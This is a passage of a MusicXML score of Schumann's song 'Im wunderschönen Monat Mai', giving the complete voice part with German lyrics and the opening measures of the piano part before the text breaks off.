</credit>
<credit page="1">
<credit-words default-x="1280" default-y="1500" font-size="10" halign="right" valign="bottom">Robert Schumann</credit-words>
</credit>
<part-list>
<score-part id="P1">
<part-name>Voice</part-name>
<score-instrument id="P1-I1">
<instrument-name>Voice</instrument-name>
</score-instrument>
<midi-instrument id="P1-I1">
<midi-channel>1</midi-channel>
<midi-program>53</midi-program>
</midi-instrument>
</score-part>
<score-part id="P2">
<part-name>Piano</part-name>
<score-instrument id="P2-I2">
<instrument-name>Acoustic Grand Piano</instrument-name>
</score-instrument>
<midi-instrument id="P2-I2">
<midi-channel>2</midi-channel>
<midi-program>1</midi-program>
</midi-instrument>
</score-part>
</part-list>
<!--=========================================================-->
<part id="P1">
<measure implicit="yes" number="0" width="198">
<print page-number="2">
<system-layout>
<system-margins>
<left-margin>120</left-margin>
<right-margin>0</right-margin>
</system-margins>
<top-system-distance>230</top-system-distance>
</system-layout>
</print>
<attributes>
<divisions>8</divisions>
<key>
<fifths>3</fifths>
<mode>major</mode>
</key>
<time>
<beats>2</beats>
<beat-type>4</beat-type>
</time>
<clef>
<sign>G</sign>
<line>2</line>
</clef>
</attributes>
<direction placement="above">
<direction-type>
<words default-y="15" font-size="10.5" font-weight="bold" relative-x="-52" xml:lang="de">Langsam, zart</words>
</direction-type>
<sound tempo="38"/>
</direction>
<note default-x="149">
<rest/>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
</note>
</measure>
<!--=======================================================-->
<measure number="1" width="284">
<note>
<rest/>
<duration>16</duration>
<voice>1</voice>
</note>
</measure>
<!--=======================================================-->
<measure number="2" width="313">
<note>
<rest/>
<duration>16</duration>
<voice>1</voice>
</note>
</measure>
<!--=======================================================-->
<measure number="3" width="284">
<note>
<rest/>
<duration>16</duration>
<voice>1</voice>
</note>
</measure>
<!--=======================================================-->
<measure number="4" width="359">
<print new-system="yes">
<system-layout>
<system-distance>175</system-distance>
</system-layout>
</print>
<note default-x="113">
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<note default-x="234">
<rest/>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
</note>
<note default-x="293">
<rest/>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
</note>
<direction placement="above">
<direction-type>
<dynamics default-y="10" relative-x="-13">
<p/>
</dynamics>
</direction-type>
<sound dynamics="54"/>
</direction>
<note default-x="323">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="-50.5">down</stem>
<lyric default-y="-80" number="1">
<syllabic>single</syllabic>
<text>Im</text>
</lyric>
</note>
</measure>
<!--=======================================================-->
<measure number="5" width="324">
<note default-x="20">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>6</duration>
<voice>1</voice>
<type>eighth</type>
<dot/>
<stem default-y="-50">down</stem>
<beam number="1">begin</beam>
<lyric default-y="-80" number="1">
<syllabic>begin</syllabic>
<text>Wun</text>
</lyric>
</note>
<note default-x="133">
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="-52">down</stem>
<beam number="1">end</beam>
<beam number="2">backward hook</beam>
<lyric default-y="-80" number="1">
<syllabic>middle</syllabic>
<text>der</text>
</lyric>
</note>
<note default-x="171">
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="22">up</stem>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<lyric default-y="-80" number="1" relative-x="3">
<syllabic>middle</syllabic>
<text>schö</text>
</lyric>
</note>
<note default-x="209">
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="20">up</stem>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
<lyric default-y="-80" number="1">
<syllabic>end</syllabic>
<text>nen</text>
</lyric>
</note>
<note default-x="246">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="17">up</stem>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
<lyric default-y="-80" number="1">
<syllabic>begin</syllabic>
<text>Mo</text>
</lyric>
</note>
<note default-x="284">
<pitch>
<step>G</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="15">up</stem>
<beam number="1">end</beam>
<beam number="2">end</beam>
<lyric default-y="-80" number="1">
<syllabic>end</syllabic>
<text>nat</text>
</lyric>
</note>
</measure>
<!--=======================================================-->
<measure number="6" width="243">
<note default-x="19">
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="11">up</stem>
<lyric default-y="-80" number="1" relative-x="3">
<syllabic>single</syllabic>
<text>Mai,</text>
</lyric>
</note>
<note default-x="128">
<rest/>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
</note>
<note default-x="180">
<rest/>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
</note>
<note default-x="209">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="-50.5">down</stem>
<lyric default-y="-80" number="1">
<syllabic>single</syllabic>
<text>als</text>
</lyric>
</note>
</measure>
<!--=======================================================-->
<measure number="7" width="274">
<note default-x="10">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>6</duration>
<voice>1</voice>
<type>eighth</type>
<dot/>
<stem default-y="-50">down</stem>
<beam number="1">begin</beam>
<lyric default-y="-80" number="1">
<syllabic>begin</syllabic>
<text>al</text>
</lyric>
</note>
<note default-x="107">
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="-52">down</stem>
<beam number="1">end</beam>
<beam number="2">backward hook</beam>
<lyric default-y="-80" number="1">
<syllabic>end</syllabic>
<text>le</text>
</lyric>
</note>
<note default-x="140">
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="23">up</stem>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur number="1" placement="below" type="start"/>
</notations>
<lyric default-y="-80" number="1" relative-x="10">
<syllabic>begin</syllabic>
<text>Knos</text>
</lyric>
</note>
<note default-x="174">
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="20">up</stem>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="207">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="18">up</stem>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
<notations>
<slur number="1" type="stop"/>
</notations>
</note>
<note default-x="239">
<pitch>
<step>G</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="15">up</stem>
<beam number="1">end</beam>
<beam number="2">end</beam>
<lyric default-y="-80" number="1">
<syllabic>end</syllabic>
<text>pen</text>
</lyric>
</note>
</measure>
<!--=======================================================-->
<measure number="8" width="330">
<print new-system="yes">
<system-layout>
<system-distance>195</system-distance>
</system-layout>
</print>
<note default-x="112">
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem default-y="5">up</stem>
<beam number="1">begin</beam>
<lyric default-y="-80" number="1">
<syllabic>begin</syllabic>
<text>spran</text>
</lyric>
</note>
<note default-x="166">
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem default-y="5">up</stem>
<beam number="1">end</beam>
<lyric default-y="-80" number="1" relative-x="3">
<syllabic>end</syllabic>
<text>gen,</text>
</lyric>
</note>
<note default-x="219">
<rest/>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
</note>
<note default-x="272">
<rest/>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
</note>
<note default-x="299">
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="11">up</stem>
<lyric default-y="-80" number="1">
<syllabic>single</syllabic>
<text>da</text>
</lyric>
</note>
</measure>
<!--=======================================================-->
<measure number="9" width="302">
<note default-x="21">
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>6</duration>
<voice>1</voice>
<type>eighth</type>
<dot/>
<stem default-y="-52">down</stem>
<beam number="1">begin</beam>
<lyric default-y="-80" number="1">
<syllabic>single</syllabic>
<text>ist</text>
</lyric>
</note>
<direction placement="above">
<direction-type>
<wedge default-y="13" spread="0" type="crescendo"/>
</direction-type>
</direction>
<note default-x="113">
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="-52">down</stem>
<beam number="1">end</beam>
<beam number="2">backward hook</beam>
<lyric default-y="-80" number="1">
<syllabic>single</syllabic>
<text>in</text>
</lyric>
</note>
<note default-x="158">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>6</duration>
<voice>1</voice>
<type>eighth</type>
<dot/>
<stem default-y="-50">down</stem>
<beam number="1">begin</beam>
<lyric default-y="-80" number="1">
<syllabic>begin</syllabic>
<text>mei</text>
</lyric>
</note>
<direction>
<direction-type>
<wedge spread="15" type="stop"/>
</direction-type>
<offset>1</offset>
</direction>
<note default-x="256">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="-50">down</stem>
<beam number="1">end</beam>
<beam number="2">backward hook</beam>
<lyric default-y="-80" number="1">
<syllabic>end</syllabic>
<text>nem</text>
</lyric>
</note>
</measure>
<!--=======================================================-->
<measure number="10" width="256">
<note default-x="17">
<pitch>
<step>E</step>
<octave>5</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem default-y="-40">down</stem>
<beam number="1">begin</beam>
<lyric default-y="-80" number="1">
<syllabic>begin</syllabic>
<text>Her</text>
</lyric>
</note>
<note default-x="78">
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem default-y="-42">down</stem>
<beam number="1">end</beam>
<lyric default-y="-80" number="1">
<syllabic>end</syllabic>
<text>zen</text>
</lyric>
</note>
<note default-x="135">
<rest/>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
</note>
<note default-x="194">
<rest/>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
</note>
<note default-x="224">
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="-45.5">down</stem>
<lyric default-y="-80" number="1">
<syllabic>single</syllabic>
<text>die</text>
</lyric>
</note>
</measure>
<!--=======================================================-->
<measure number="11" width="311">
<note default-x="22">
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>6</duration>
<voice>1</voice>
<type>eighth</type>
<dot/>
<stem default-y="-42">down</stem>
<beam number="1">begin</beam>
<lyric default-y="-80" number="1">
<syllabic>begin</syllabic>
<text>Lie</text>
</lyric>
</note>
<direction placement="above">
<direction-type>
<wedge default-y="13" spread="0" type="crescendo"/>
</direction-type>
</direction>
<note default-x="124">
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="-42">down</stem>
<beam number="1">end</beam>
<beam number="2">backward hook</beam>
<lyric default-y="-80" number="1">
<syllabic>end</syllabic>
<text>be</text>
</lyric>
</note>
<note default-x="168">
<pitch>
<step>E</step>
<octave>5</octave>
</pitch>
<duration>6</duration>
<voice>1</voice>
<type>eighth</type>
<dot/>
<stem default-y="-40">down</stem>
<beam number="1">begin</beam>
<lyric default-y="-80" number="1">
<syllabic>begin</syllabic>
<text>auf</text>
</lyric>
</note>
<direction>
<direction-type>
<wedge spread="15" type="stop"/>
</direction-type>
<offset>1</offset>
</direction>
<note default-x="265">
<pitch>
<step>E</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="-40">down</stem>
<beam number="1">end</beam>
<beam number="2">backward hook</beam>
<lyric default-y="-80" number="1">
<syllabic>middle</syllabic>
<text>ge</text>
</lyric>
</note>
</measure>
<!--=======================================================-->
<measure number="12" width="356">
<print new-page="yes" page-number="3"/>
<note default-x="111">
<pitch>
<step>G</step>
<octave>5</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<accidental>natural</accidental>
<stem default-y="-30">down</stem>
<beam number="1">begin</beam>
<lyric default-y="-80" number="1">
<syllabic>middle</syllabic>
<text>gan</text>
</lyric>
</note>
<note default-x="172">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem default-y="-32">down</stem>
<beam number="1">end</beam>
<lyric default-y="-80" number="1" relative-x="3">
<syllabic>end</syllabic>
<text>gen.</text>
</lyric>
</note>
<note default-x="233">
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
</measure>
<!--=======================================================-->
<measure number="13" width="285">
<note>
<rest/>
<duration>16</duration>
<voice>1</voice>
</note>
</measure>
<!--=======================================================-->
<measure number="14" width="270">
<note>
<rest/>
<duration>16</duration>
<voice>1</voice>
</note>
</measure>
<!--=======================================================-->
<measure number="15" width="289">
<note default-x="23">
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<note default-x="155">
<rest/>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
</note>
<note default-x="221">
<rest/>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
</note>
<direction placement="above">
<direction-type>
<dynamics default-y="10" relative-x="-14">
<p/>
</dynamics>
</direction-type>
<sound dynamics="54"/>
</direction>
<note default-x="253">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="-50.5">down</stem>
<lyric default-y="-80" number="1">
<syllabic>single</syllabic>
<text>Im</text>
</lyric>
</note>
</measure>
<!--=======================================================-->
<measure number="16" width="432">
<print new-system="yes">
<system-layout>
<system-distance>93</system-distance>
</system-layout>
</print>
<note default-x="109">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>6</duration>
<voice>1</voice>
<type>eighth</type>
<dot/>
<stem default-y="-50">down</stem>
<beam number="1">begin</beam>
<lyric default-y="-80" number="1">
<syllabic>begin</syllabic>
<text>Wun</text>
</lyric>
</note>
<note default-x="229">
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="-52">down</stem>
<beam number="1">end</beam>
<beam number="2">backward hook</beam>
<lyric default-y="-80" number="1">
<syllabic>middle</syllabic>
<text>der</text>
</lyric>
</note>
<note default-x="270">
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="23">up</stem>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<lyric default-y="-80" number="1">
<syllabic>middle</syllabic>
<text>schö</text>
</lyric>
</note>
<note default-x="310">
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="20">up</stem>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
<lyric default-y="-80" number="1">
<syllabic>end</syllabic>
<text>nen</text>
</lyric>
</note>
<note default-x="350">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="18">up</stem>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
<lyric default-y="-80" number="1">
<syllabic>begin</syllabic>
<text>Mo</text>
</lyric>
</note>
<note default-x="390">
<pitch>
<step>G</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="15">up</stem>
<beam number="1">end</beam>
<beam number="2">end</beam>
<lyric default-y="-80" number="1">
<syllabic>end</syllabic>
<text>nat</text>
</lyric>
</note>
</measure>
<!--=======================================================-->
<measure number="17" width="257">
<note default-x="19">
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem default-y="11">up</stem>
<lyric default-y="-80" number="1" relative-x="3">
<syllabic>single</syllabic>
<text>Mai,</text>
</lyric>
</note>
<note default-x="135">
<rest/>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
</note>
<note default-x="193">
<rest/>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
</note>
<note default-x="223">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="-50.5">down</stem>
<lyric default-y="-80" number="1">
<syllabic>single</syllabic>
<text>als</text>
</lyric>
</note>
</measure>
<!--=======================================================-->
<measure number="18" width="267">
<note default-x="10">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>6</duration>
<voice>1</voice>
<type>eighth</type>
<dot/>
<stem default-y="-50">down</stem>
<beam number="1">begin</beam>
<lyric default-y="-80" number="1">
<syllabic>begin</syllabic>
<text>al</text>
</lyric>
</note>
<note default-x="105">
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="-52">down</stem>
<beam number="1">end</beam>
<beam number="2">backward hook</beam>
<lyric default-y="-80" number="1">
<syllabic>end</syllabic>
<text>le</text>
</lyric>
</note>
<note default-x="137">
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="23">up</stem>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur number="1" placement="below" type="start"/>
</notations>
<lyric default-y="-80" number="1" relative-x="3">
<syllabic>begin</syllabic>
<text>Vö</text>
</lyric>
</note>
<note default-x="169">
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="20">up</stem>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="200">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="18">up</stem>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
<notations>
<slur number="1" type="stop"/>
</notations>
</note>
<note default-x="232">
<pitch>
<step>G</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="15">up</stem>
<beam number="1">end</beam>
<beam number="2">end</beam>
<lyric default-y="-80" number="1">
<syllabic>end</syllabic>
<text>gel</text>
</lyric>
</note>
</measure>
<!--=======================================================-->
<measure number="19" width="244">
<note default-x="15">
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem default-y="5">up</stem>
<beam number="1">begin</beam>
<lyric default-y="-80" number="1">
<syllabic>begin</syllabic>
<text>san</text>
</lyric>
</note>
<note default-x="72">
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem default-y="5">up</stem>
<beam number="1">end</beam>
<lyric default-y="-80" number="1" relative-x="3">
<syllabic>end</syllabic>
<text>gen,</text>
</lyric>
</note>
<note default-x="128">
<rest/>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
</note>
<note default-x="185">
<rest/>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
</note>
<note default-x="213">
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="11">up</stem>
<lyric default-y="-80" number="1">
<syllabic>single</syllabic>
<text>da</text>
</lyric>
</note>
</measure>
<!--=======================================================-->
<measure number="20" width="468">
<print new-system="yes">
<system-layout>
<system-distance>93</system-distance>
</system-layout>
</print>
<note default-x="111">
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>6</duration>
<voice>1</voice>
<type>eighth</type>
<dot/>
<stem default-y="-52">down</stem>
<beam number="1">begin</beam>
<lyric default-y="-80" number="1" relative-x="3">
<syllabic>single</syllabic>
<text>hab’</text>
</lyric>
</note>
<note default-x="244">
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="-52">down</stem>
<beam number="1">end</beam>
<beam number="2">backward hook</beam>
<lyric default-y="-80" number="1">
<syllabic>single</syllabic>
<text>ich</text>
</lyric>
</note>
<direction placement="above">
<direction-type>
<wedge default-y="12" spread="0" type="crescendo"/>
</direction-type>
</direction>
<note default-x="289">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>6</duration>
<voice>1</voice>
<type>eighth</type>
<dot/>
<stem default-y="-50">down</stem>
<beam number="1">begin</beam>
<lyric default-y="-80" number="1">
<syllabic>single</syllabic>
<text>ihr</text>
</lyric>
</note>
<direction>
<direction-type>
<wedge spread="15" type="stop"/>
</direction-type>
<offset>1</offset>
</direction>
<note default-x="422">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="-50">down</stem>
<beam number="1">end</beam>
<beam number="2">backward hook</beam>
<lyric default-y="-80" number="1">
<syllabic>begin</syllabic>
<text>ge</text>
</lyric>
</note>
</measure>
<!--=======================================================-->
<measure number="21" width="342">
<note default-x="17">
<pitch>
<step>E</step>
<octave>5</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem default-y="-40">down</stem>
<beam number="1">begin</beam>
<lyric default-y="-80" number="1">
<syllabic>middle</syllabic>
<text>stan</text>
</lyric>
</note>
<note default-x="98">
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem default-y="-42">down</stem>
<beam number="1">end</beam>
<lyric default-y="-80" number="1">
<syllabic>end</syllabic>
<text>den</text>
</lyric>
</note>
<note default-x="179">
<rest/>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
</note>
<note default-x="259">
<rest/>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
</note>
<note default-x="300">
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="-45.5">down</stem>
<lyric default-y="-80" number="1">
<syllabic>single</syllabic>
<text>mein</text>
</lyric>
</note>
</measure>
<!--=======================================================-->
<measure number="22" width="390">
<direction placement="above">
<direction-type>
<wedge default-y="13" spread="0" type="crescendo"/>
</direction-type>
</direction>
<note default-x="22">
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>6</duration>
<voice>1</voice>
<type>eighth</type>
<dot/>
<stem default-y="-42">down</stem>
<beam number="1">begin</beam>
<lyric default-y="-80" number="1">
<syllabic>begin</syllabic>
<text>Seh</text>
</lyric>
</note>
<note default-x="159">
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="-42">down</stem>
<beam number="1">end</beam>
<beam number="2">backward hook</beam>
<lyric default-y="-80" number="1">
<syllabic>end</syllabic>
<text>nen</text>
</lyric>
</note>
<note default-x="205">
<pitch>
<step>E</step>
<octave>5</octave>
</pitch>
<duration>6</duration>
<voice>1</voice>
<type>eighth</type>
<dot/>
<stem default-y="-40">down</stem>
<beam number="1">begin</beam>
<lyric default-y="-80" number="1">
<syllabic>single</syllabic>
<text>und</text>
</lyric>
</note>
<direction>
<direction-type>
<wedge spread="15" type="stop"/>
</direction-type>
<offset>1</offset>
</direction>
<note default-x="342">
<pitch>
<step>E</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="-40">down</stem>
<beam number="1">end</beam>
<beam number="2">backward hook</beam>
<lyric default-y="-80" number="1">
<syllabic>begin</syllabic>
<text>Ver</text>
</lyric>
</note>
</measure>
<!--=======================================================-->
<measure number="23" width="365">
<print new-system="yes">
<system-layout>
<system-distance>93</system-distance>
</system-layout>
</print>
<note default-x="111">
<pitch>
<step>G</step>
<octave>5</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<accidental>natural</accidental>
<stem default-y="-30">down</stem>
<beam number="1">begin</beam>
<lyric default-y="-80" number="1">
<syllabic>middle</syllabic>
<text>lan</text>
</lyric>
</note>
<note default-x="174">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem default-y="-32">down</stem>
<beam number="1">end</beam>
<lyric default-y="-80" number="1" relative-x="4">
<syllabic>end</syllabic>
<text>gen.</text>
</lyric>
</note>
<note default-x="237">
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
</measure>
<!--=======================================================-->
<measure number="24" width="303">
<note>
<rest/>
<duration>16</duration>
<voice>1</voice>
</note>
</measure>
<!--=======================================================-->
<measure number="25" width="286">
<note>
<rest/>
<duration>16</duration>
<voice>1</voice>
</note>
</measure>
<!--=======================================================-->
<measure number="26" width="246">
<note default-x="109">
<rest/>
<duration>16</duration>
<voice>1</voice>
<type>whole</type>
<notations>
<fermata type="upright"/>
<fermata type="upright"/>
<fermata type="upright"/>
<fermata type="upright"/>
</notations>
</note>
<barline location="right">
<bar-style>light-heavy</bar-style>
</barline>
</measure>
</part>
<!--=========================================================-->
<part id="P2">
<measure implicit="yes" number="0" width="198">
<attributes>
<divisions>8</divisions>
<key>
<fifths>3</fifths>
<mode>major</mode>
</key>
<time>
<beats>2</beats>
<beat-type>4</beat-type>
</time>
<staves>2</staves>
<clef number="1">
<sign>G</sign>
<line>2</line>
</clef>
<clef number="2">
<sign>F</sign>
<line>4</line>
</clef>
</attributes>
<direction placement="below">
<direction-type>
<dynamics default-y="-75" relative-x="-3">
<p/>
</dynamics>
</direction-type>
<staff>1</staff>
<sound dynamics="54"/>
</direction>
<note default-x="149">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>2</duration>
<tie type="start"/>
<voice>1</voice>
<type>16th</type>
<stem default-y="18">up</stem>
<staff>1</staff>
<notations>
<tied type="start"/>
<slur number="1" placement="above" type="start"/>
</notations>
</note>
<backup>
<duration>2</duration>
</backup>
<direction placement="below">
<direction-type>
<pedal default-y="-70" line="no" relative-x="-10" type="start"/>
</direction-type>
<staff>2</staff>
</direction>
<note default-x="149">
<rest/>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<staff>2</staff>
</note>
</measure>
<!--=======================================================-->
<measure number="1" width="284">
<note default-x="10">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>8</duration>
<tie type="stop"/>
<tie type="start"/>
<voice>1</voice>
<type>quarter</type>
<stem default-y="18">up</stem>
<staff>1</staff>
<notations>
<tied type="stop"/>
<tied orientation="over" type="start"/>
</notations>
</note>
<note default-x="151">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>2</duration>
<tie type="stop"/>
<voice>1</voice>
<type>16th</type>
<stem default-y="40">up</stem>
<staff>1</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<tied type="stop"/>
</notations>
</note>
<note default-x="184">
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="40">up</stem>
<staff>1</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="216">
<pitch>
<step>G</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="40">up</stem>
<staff>1</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="250">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="40">up</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
</note>
<backup>
<duration>16</duration>
</backup>
<forward>
<duration>8</duration>
<voice>2</voice>
<staff>1</staff>
</forward>
<note default-x="151">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>2</voice>
<type>quarter</type>
<stem default-y="-63">down</stem>
<staff>1</staff>
<notations>
<slur number="2" type="stop"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="10">
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="28">up</stem>
<staff>2</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
